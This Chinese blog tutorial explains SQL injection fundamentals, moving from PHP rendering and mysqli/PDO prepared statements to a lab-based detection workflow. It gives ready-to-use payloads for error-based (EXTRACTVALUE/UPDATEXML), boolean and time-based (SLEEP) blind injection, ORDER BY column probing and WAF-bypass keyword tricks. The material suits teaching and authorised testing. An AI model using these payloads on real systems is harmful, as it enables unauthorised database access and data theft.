SQL注入底层原理详解一

SQL注入底层原理详解一

2026年04月27日·20 分钟阅读·61 次阅读·23 点赞·0 条评论

本文旨在介绍sql注入前置知识,讲解数据在浏览器与服务端之间的传输过程,以及sql注入点的判断

ECX-1909_Hero_MySQL_600x400@2x-1.webp

传统C/S间的数据交互-服务端渲染

要充分了解sql注入的本质,首先要理解web服务都是如何实现的,客户端与服务端之间是如何传递数据的,传递了什么样的数据,两端又是如何处理数据的

就以一个简易靶场为例:SuperDemon921/sqli_lab: 自建 sql 靶场 ,html数据交互的过程大致是:

浏览器发 HTTP 请求

      Nginx

     PHP解释器(执行 .php 文件)

  PHP 边执行、边向输出缓冲区 echo 字符串

  HTTP 响应(Content-Type: text/html)

     浏览器渲染

整个过程没有前端框架,没有 AJAX,就是PHP 直接把字符串拼成完整的 HTML,然后通过 HTTP 响应体一次性发给浏览器,这叫php服务端渲染

第一步:page_header() — 输出 HTML 骨架的开头

当浏览器请求 /sql/index.php,PHP 执行的第一件有意义的事是:

page_header('SQL 注入研究平台');

clipboard_1777193337126.png

这个函数在 _lib/debug.php 里,核心是一个 echo <<<HTML ... HTML;(Heredoc 语法),它会把一整段字符串直接输出:

clipboard_1777193515381.png

注意:</body></html> 还没有出现,HTML 此时是"半开口"的,等待后续内容填充进来。

第二步:数据库查询结果 → 动态拼入 HTML

clipboard_1777193877124.png

这里发生了什么:

  1. PHP 去 MySQL 查 SELECT VERSION()
  2. 把结果 8.0.28(举例)取出来
  3. htmlspecialchars() 转义(防 XSS)
  4. 拼成字符串 <span ...>● 已连接 MySQL 8.0.28</span>
  5. echo 到输出流

浏览器收到的就是这段 HTML,完全感知不到背后经历了一次数据库查询。

第三步:foreach 循环 → 动态生成目录列表

$modules = [ /* 一个大数组,定义了每个模块 */ ];
 
foreach ($modules as $dir => $mod) {
    $color = $mod['color'];
    echo "<h3 style='color:{$color}'>{$mod['title']}</h3><ul>";
  
    foreach ($mod['items'] as [$file, $desc]) {
        $href = "/sql/{$dir}/{$file}";
        $ext  = pathinfo($file, PATHINFO_EXTENSION);
        $icon = $ext === 'php' ? '⚙' : '📄';
        echo "<li><a href='{$href}'>{$icon} {$file}</a> — {$desc}</li>";
    }
  
    echo '</ul>';
}

PHP 每循环一次,就 echo 一段 HTML 片段。以 01_union 为例,输出是:

<h3 style='color:#ce9178'>01 UNION 注入</h3>
<ul>
  <li><a href='/sql/01_union/vuln.php'>⚙ vuln.php</a> — 漏洞版本 —— 字符型 / 数字型</li>
  <li><a href='/sql/01_union/fix.php'>⚙ fix.php</a> — 修复版本</li>
  <li><a href='/sql/01_union/notes.md'>📄 notes.md</a> — 测试笔记 & Payload</li>
</ul>

page_footer();
// 内部就是 echo '</body></html>';

clipboard_1777194088169.png

至此,整个 HTML 文档闭合。

完整的数据流时序图:

浏览器                    Nginx/PHP                    MySQL
  |                          |                            |
  |── GET /sql/index.php ──> |                            |
  |                          |── require _lib/db.php      |
  |                          |── require _lib/debug.php   |
  |                          |                            |
  |                          |── page_header() ──────────>| (无DB)
  |                          |   echo DOCTYPE+<head>+CSS  |
  |                          |                            |
  |                          |── get_conn() ─────────────>|
  |                          |<── mysqli连接 ─────────────|
  |                          |── SELECT VERSION() ───────>|
  |                          |<── "8.0.28" ───────────────|
  |                          |   echo <p>已连接 8.0.28</p>|
  |                          |                            |
  |                          |── foreach($modules...) ────| (无DB)
  |                          |   echo 11个模块的 <h3><ul> |
  |                          |                            |
  |                          |── page_footer() ───────────| (无DB)
  |                          |   echo </body></html>      |
  |                          |                            |
  |<── HTTP 200 + 完整HTML ──|
  |   (所有 echo 的总和)      |

PHP 的 echo 不是真的立即发送,而是写入PHP 输出缓冲区(output buffer)。当脚本执行完毕(或缓冲区满),Nginx 才把整个缓冲区的内容作为 HTTP 响应体发出去。

所以我的靶场每次请求,浏览器收到的是一个完整的、一次性生成的 HTML 字符串,不涉及任何 JS 渲染或前后端分离。

clipboard_1777276538907.png

现代框架的数据交互

在传统的数据交互中,前端页面上的每一个字,在 HTTP 响应到达浏览器之前就已经确定了。浏览器只是个"显示器",它拿到什么就显示什么,没有任何主动权。

而现代往往采用AJAX方式,或直接使用前端框架,例如React、Vue

AJAX

AJAX(Asynchronous JavaScript and XML)的本质是:让浏览器在页面已经加载完之后,还能偷偷地再去服务器要数据,然后用 JavaScript 把页面局部更新,不需要整页刷新。

就拿当前的php靶场举例,我要在查询框中查询一个id值,大致过程是这样:

用户点提交
→ 浏览器发 GET /sql/01_union/vuln.php?id=1
→ 整个页面重新加载
→ PHP 重新执行,重新生成完整 HTML
→ 浏览器重新渲染整页(页面会白闪一下)

而AJAX:

用户点提交
→ JS 在后台偷偷发请求给 /api/query?id=1
→ 服务器只返回数据(比如 JSON:{"name":"admin","pass":"123"})
→ JS 拿到数据,只更新页面上的那个表格
→ 页面其他部分纹丝不动,没有刷新感

所以服务端对应的接口只需要输出 JSON,不需要再输出完整 HTML

前端框架

现代成熟的前端框架React、Vue,则是是把 AJAX 这个思路推向极致的产物,三者核心的区别就是:

谁来负责生成HTML?

模式 HTML 由谁生成 服务器返回什么
当前靶场(PHP SSR) 服务器 PHP 完整 HTML 字符串
AJAX 局部更新 服务器 PHP + 浏览器 JS 各负责一部分 HTML 骨架 + 零散 JSON
React/Vue(SPA) 几乎全由浏览器 JS 生成 一个空壳 HTML + 大量 JS 文件 + JSON 数据

就以当前JerryGao博客网站的框架Next.js为例,它就是 React 框架。浏览器收到的初始 HTML 可能只有:

<html>
  <body>
    <div id="root"></div>
    <script src="/main.js"></script>  <!-- 这个JS文件几百KB -->
  </body>
</html>

然后 main.js 在浏览器里运行,JS 自己去请求数据(/api/posts),自己在浏览器内存里构建 DOM 树,自己把页面"画"出来。服务器只负责提供数据接口,不管 HTML 长什么样。


所以面对不同的数据渲染模式,在测试时的思路也会有些许不同:

PHP 服务端渲染(我的靶场)

  • 注入点、回显点都在服务端,URL 参数直接触发,Payload 简单直接
  • Burp Suite 抓到的请求就是全部,响应体就是完整 HTML

AJAX / 前端框架

  • 真正触发数据库查询的不是页面 URL,而是隐藏的 API 端点(/api/xxx
  • 需要在浏览器 Network 面板或 Burp 里找 XHR/Fetch 请求
  • 响应是 JSON 而不是 HTML,注入回显可能在 JSON 字段里
  • 前端可能还有额外的参数校验,但绕过后服务端如果没过滤照样能注
  • 现在主流网站大多是这种架构,真实渗透测试时接口梳理是必做步骤

php控制数据库的方式

当前靶场是通过 PHP 内置的扩展类 mysqli 控制的数据库,全称 MySQL Improved Extension,它封装了与 MySQL 数据库交互的所有功能

PHP 操作 MySQL 目前有三种方式,关系如下:

mysql_* mysqli PDO
引入版本 PHP 2.0 PHP 5.0 PHP 5.1
当前状态 ❌ 已废弃删除 ✅ 仍在使用 ✅ 主流推荐
面向对象 ❌ 纯函数式 ✅ 支持 ✅ 支持
支持数据库 仅 MySQL 仅 MySQL 多种数据库
预处理语句

实际生产项目现在基本都用 PDO,因为它支持多种数据库且接口更统一。

mysqli与PDO区别

1. 支持的数据库

这是最根本的区别:

// mysqli 只能连 MySQL
$conn = new mysqli('localhost', 'root', '123456', 'mydb');
 
// PDO 支持十几种数据库,只需换一行 DSN
$pdo = new PDO('mysql:host=localhost;dbname=mydb', 'root', '123456');
$pdo = new PDO('pgsql:host=localhost;dbname=mydb', 'root', '123456');  // PostgreSQL
$pdo = new PDO('sqlite:/path/to/db.sqlite');                           // SQLite
$pdo = new PDO('sqlsrv:Server=localhost;Database=mydb', 'root', '123');// SQL Server

业务换数据库时,PDO 只需改一行 DSN 字符串,mysqli 则需要重写所有数据库相关代码。

2. 预处理语句的写法

预处理语句是防止 SQL 注入的核心手段,两者都支持,但 PDO 写起来更简洁:

mysqli 的写法:

// 三步走,且参数绑定必须指定类型 's'=字符串 'i'=整数
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param('s', $username);   // 必须手动声明类型
$stmt->execute();
$result = $stmt->get_result();

PDO 的写法:

// 支持命名占位符,更直观
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :name");
$stmt->execute([':name' => $username]);  // 直接传数组,无需声明类型
$result = $stmt->fetchAll();

PDO 还支持问号占位符,两种风格都可以:

$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);

3. 错误处理机制

mysqli 需要每次手动检查:

$result = $conn->query("SELECT * FROM users");
if (!$result) {
    echo $conn->error;  // 忘记写这行就静默失败了
}

PDO 可以统一抛出异常:

// 设置一次,之后所有错误自动抛异常
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
 
try {
    $pdo->query("SELECT * FROM users");
} catch (PDOException $e) {
    echo $e->getMessage();  // 统一捕获,不会漏掉任何错误
}

4. 获取查询结果的方式

mysqli:

$result = $conn->query("SELECT * FROM users");
$row = $result->fetch_assoc();    // 关联数组
$row = $result->fetch_row();      // 索引数组
$row = $result->fetch_object();   // 对象
// 没有直接 fetchAll,需要手动循环
while ($row = $result->fetch_assoc()) {
    $rows[] = $row;
}

PDO 更统一:

$stmt = $pdo->query("SELECT * FROM users");
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);    // 直接拿全部,关联数组
$rows = $stmt->fetchAll(PDO::FETCH_OBJ);      // 直接拿全部,对象
$rows = $stmt->fetchAll(PDO::FETCH_CLASS, 'User'); // 直接映射到自定义类

PDO 成为主流的原因

核心原因是现代软件开发的需求变了,主要体现在三点:

第一,框架驱动开发成为主流

Laravel、Symfony、ThinkPHP 等主流框架都基于 PDO 构建 ORM,开发者几乎不直接写 mysqli,框架替你选好了。

第二,数据库可移植性变得重要

早期小项目用 MySQL 一把梭,现在大型项目可能同时用 MySQL 做业务库、SQLite 做测试、PostgreSQL 做数据分析,PDO 让同一套代码可以无缝切换。

第三,异常机制符合现代编程习惯

现代 PHP 项目大量使用 try/catch 统一处理错误,mysqli 那种每次手动 if (!$result) 的风格显得落后且容易漏写。

如何判断sql注入点

本质上就一句话:向参数中插入特殊字符或逻辑,观察应用行为是否发生可预期的变化。

  • 正常参数 → 正常响应
  • 构造参数 → 行为改变(报错 / 页面变化 / 延时)→ 注入点存在

第一步:找输入点

注入不只发生在搜索框,所有能把数据带入 SQL 的地方都是潜在注入点:

GET  /article?id=1          ← URL 参数
POST /login  username=admin ← 表单字段
Cookie: user_id=42          ← Cookie
X-Forwarded-For: 127.0.0.1  ← HTTP 头
Referer: https://xxx.com    ← Referer 头

很多开发者只过滤了 GET/POST 参数,忘了 HTTP 头也会被塞进 SQL(比如记录访客 IP 的逻辑)。

第二步:基础探测

单引号测试(最经典)
原始请求:/article?id=1
注入测试:/article?id=1'

可能的反应:

反应 含义
页面报错(MySQL syntax error) 注入点几乎确定存在,且错误信息回显
页面空白 / 500 错误 可能存在,SQL 出错但错误被屏蔽
页面完全正常 可能做了过滤/转义,也可能是数值型注入
数值型 vs 字符型

参数类型不同,闭合方式不同:

-- 数值型(后端直接拼数字)
SELECT * FROM news WHERE id = 1
 
-- 字符型(后端用引号包裹)
SELECT * FROM users WHERE name = 'admin'
 
-- 其他(括号包裹等)
SELECT * FROM users WHERE name = ('admin')

判断是数值型还是字符型:

/article?id=1        → 正常
/article?id=1'       → 报错(字符型,引号破坏了结构)
/article?id=1 and 1=1→ 正常(数值型注入特征)
/article?id=1 and 1=2→ 页面异常(数值型注入确认)

AND 1=1AND 1=2 能判断注入,依赖的是一个前提:这两个表达式被数据库真正执行了,而不是被当成普通字符串。

注入 1 and 1=1

-- 输入:1 and 1=1
SELECT * FROM article WHERE id = 1 AND 1=1
-- WHERE 条件:id=1 为真,1=1 为真,TRUE AND TRUE = TRUE
-- 返回 id=1 的文章,和正常一样

注入 1 and 1=2

-- 输入:1 and 1=2
SELECT * FROM article WHERE id = 1 AND 1=2
-- WHERE 条件:id=1 为真,1=2 为假,TRUE AND FALSE = FALSE
-- 整个 WHERE 条件为假,没有任何行满足条件
-- 返回空结果,页面异常

第三步:逻辑验证(确认注入而非误报)

单引号报错不够可靠,可能只是应用自己的参数校验。需要用逻辑构造来二次确认:

永真 / 永假对比法
原始:/article?id=1
永真:/article?id=1 and 1=1   → 应该与原始页面相同
永假:/article?id=1 and 1=2   → 应该页面异常(无数据 / 空白)

三次请求,行为符合预期 → 注入确认。

字符型的写法:

/article?id=1' and '1'='1    → 正常
/article?id=1' and '1'='2    → 异常
算术运算法(更隐蔽)
/article?id=1          → 返回 id=1 的文章
/article?id=2-1        → 如果返回的也是 id=1 的文章,说明表达式被执行了

如果 2-1 被当成字符串处理,数据库会找 id='2-1' 这条记录(不存在),页面为空。 如果 2-1 被作为 SQL 表达式计算,返回 id=1 的结果 → 注入存在。

第四步:按回显情况分路判断

注入点存在
    │
    ├── 有报错信息回显
    │       └── 报错注入(EXTRACTVALUE / UPDATEXML)
    │
    ├── 有正常数据回显
    │       └── UNION 注入(先探列数,再提数据)
    │
    ├── 页面有真/假差异(有数据 vs 无数据)
    │       └── 布尔盲注
    │
    └── 页面无任何差异
            └── 时间盲注(SLEEP)

第五步:各类型专项探测

报错注入探测

' AND EXTRACTVALUE(1, CONCAT(0x7e, version()))-- ' AND UPDATEXML(1, CONCAT(0x7e, database()), 1)-- 如果页面返回类似 XPATH syntax error: '~5.7.38' → 报错注入可用。

布尔盲注探测
' AND 1=1--   → 有数据
' AND 1=2--   → 无数据

两次响应内容长度不同 → 布尔盲注可用。

LENGTH() 进一步确认:

' AND LENGTH(database())=8--   → 数据库名长度是否为8
时间盲注探测(最后手段)
' AND SLEEP(5)--
' AND IF(1=1, SLEEP(5), 0)--

响应延迟约 5 秒 → 时间盲注可用。

注意: 要多测几次排除网络波动,单次延迟不能作为确认依据。

UNION 注入探测
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 10--   ← 报错,说明列数小于10
-- 二分法定位精确列数

注释符的选择

不同数据库的注释符不一样,MySQL 常用的:

--          单行注释(注意后面要有空格:-- )
-- -        带连字符,更保险
#           MySQL 特有(URL 编码为 %23
/**/        多行注释,也可用于绕过空格过滤

URL 中 # 会被浏览器截断,要用 %23 代替:

/article?id=1' ORDER BY 3%23

编码与绕过初探

WAF 可能拦截明文的 unionselect,基础绕过:

-- 大小写混写
UniOn SeLeCt
 
-- 内联注释分割关键字
UN/**/ION SEL/**/ECT
 
-- URL 编码
%55nion %53elect   (U=0x55, S=0x53)
 
-- 双写(针对简单替换过滤)
UNunionION SELselectECT

实战判断流程总结

① 找所有输入点(URL参数、POST、Cookie、Header)
       ↓
② 单引号测试 → 观察响应变化
       ↓
③ 永真/永假逻辑对比 → 确认是真注入还是误报
       ↓
④ 判断回显类型
       ├── 有报错  → 报错注入
       ├── 有回显  → UNION注入(ORDER BY探列数)
       ├── 有差异  → 布尔盲注
       └── 无差异  → 时间盲注
       ↓
⑤ 提取 information_schema 中的库表结构
       ↓
⑥ 定向查询目标数据

手工判断完之后,实际渗透测试中通常会用 sqlmap 自动化验证,但手工判断的逻辑是 sqlmap 背后做的事情,理解了原理才能在 sqlmap 被拦截时知道如何手工绕过。

标签:#SQL注入
©

版权声明:本文采用 CC BY-NC-SA 4.0 协议授权,转载请注明出处并保留原始链接。

原文链接:https://www.jerrygao.cn//blog/sqlE6B3A8E585A5E5BA95E5B182E58E9FE79086E8AFA6E8A7A3

评论 0

💬

还没有评论,成为第一个留言的人吧!